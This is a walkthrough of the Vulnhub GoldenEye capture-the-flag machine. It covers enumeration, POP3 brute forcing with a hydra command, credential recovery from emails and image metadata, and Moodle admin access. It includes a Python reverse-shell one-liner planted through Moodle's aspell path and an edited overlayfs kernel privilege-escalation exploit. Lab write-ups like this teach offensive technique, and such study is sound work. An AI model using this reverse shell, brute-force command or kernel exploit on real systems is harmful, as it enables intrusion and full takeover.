Vulnhub - GoldenEye writeup

Golden Eye

Author: Melvin


We can see that there are pop3 server running this mean we will for sure encounter something related to emails. But let’s just start small and enumerate HTTP.


If we visit the website we get some cool looking page.

It says something about going to /sev-home/ to login. If we try to visit that we are prompted for credentials which we don’t have.

In the source of the page I found a link to file name terminal.js

There are few things that we know from this

  • A person name Boris
  • A person name Natalya
  • The damn password for Boris i.e InvincibleHack3r

We can decode this with simple python code

password = "InvincibleHack3r"

char = password.replace("&#", "")

for i in list(filter(None, char.split(";"))):
    print(chr(int(i)), end="")

This would just print out the password InvincibleHack3r. So now we have the password for Boris i.e boris: InvincibleHack3r.

So now we can just login with those credentials to /sev-Home

If we look at the source of the page we’ll notice that this page doesn’t end on line 22. There is something on line 174

Qualified GoldenEye Network Operator Supervisors:

Other than that I found nothing there. I even tried to run dirsearch but got nothing.

Time to move on to those pop3 ports.


Since we have the credentials we can just login into the pop3 service and see if we can find something good.

But those credentials didn’t worked.

Since I had no other information on any other service I just ran the dictionary attack with user name as boris.

hydra -l boris -P /usr/share/wordlists/fasttrack.txt -t20 -s55007 -I pop3

boris: secret1!

With these credential I was able to login to the pop3 service.

I started to look for message there using RETR <message-number> Ex RETR 1, RETR 2

Since I got nothing in boris account. I decided to brute force Natalya's account.

natalya: bird

I logged into her account and again looked for messages and found something in the

We’ve got a set of new credentials i.e xenia: RCP90rulez! and the last four lines tells us about a new domain.

And if you didn't have the URL on outr internal Domain:
**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to in /etc/hosts.

We need to edit out /etc/hosts file to add the following line to it


If we visit the said URL i.e we’ll see a moodle interface.

On I found a login page where I logged in as xenia

After logging in I found a message from a person name Dr. Doak in the My profile -> Messages option.

And that message gave a lot of information about Doc

Other than that I got nothing on moodle system. I googled some exploit to get a reverse shell from this but none of them were compatible for our conditions. When I had no option left I did the sin again, I ran hydra to see if I can find the password for doak.

doak: goat

This is crazy the amount of dictionary attacks on this machine is crazy.

I once again logged into pop3 to see if I can find some information from doak messages.

It looks like doak didn’t even tried he had credential in the very first message.

dr_doak: 4England!

I tried these on moodle to see if I can login as doak and I actually was able to do so.

Since we are finding everything in someones messages I decided to check doak's message but there wasn’t any. 😢😢

But in the private files section I found a file name s3cret.txt

And that file had some details about another so called juicy file which might contain some information.


If we are given an image for juicy content then for sure we might have to do stego on that image.

On visiting I got an image name for-007.jpg

I first ran the strings command but that didn’t gave out anything so I decided to look into it’s metadata and found a base64 encoded string.

Decoding that string gave xWinter1995x! so this is admin’s password because this is what was written in the secret.txt that it’s admin creds.

admin: xWinter1995x!

So now we can just login as admin into moodle.

Exploiting moodle

Okay in the start when I logged in as xenia there wasn’t anything that we could exploit in moodle. But I know that we can exploit it if we have admin power.

All we need to do is edit some system paths which can be found in Site administration -> Server -> System paths and in the Path to aspell we can just add our reverse shell.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Then in the Site administration -> plugins -> text editors -> TinyMCE HTML editor change the Spell engine from Google spell to PSpellShell.

Then you can just make a blog post from courses menu and click on Toggle Spellchecker while your listener is up.

When we click on that we’ll get reverse shell as www-data

Privilege escalation

Since I was in the system I simply ran my enumeration script and found that kernel used was quite old.

I used searchsploit to find an expoit for this kernel.

I used the Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation one.

I compiled the exploit in a file name exp and then took it to the machine and ran but got an error about gcc not installed. WTF!!

So I googled an Alternative to gcc and found Stackoverflow thread mentioning cc. So I checked for cc --help and it was installed.

Now I edited the exploit line 144 from

lib = system("gcc -fPIC -shared -o /tmp/ /tmp/ofs-lib.c -ldl -w");


lib = system("cc -fPIC -shared -o /tmp/ /tmp/ofs-lib.c -ldl -w");

Then I got the exp to the machine(again) and ran it, this time it gave me a root shell.

If we visit the we will find a gif playing.

This was an interesting VM, like we were getting information about every user which made it kinda real(almost). I really enjoyed doing it.

Thanks to @_creosote for this wonderful VM.

Thanks for reading, Feedback is always appreciated.

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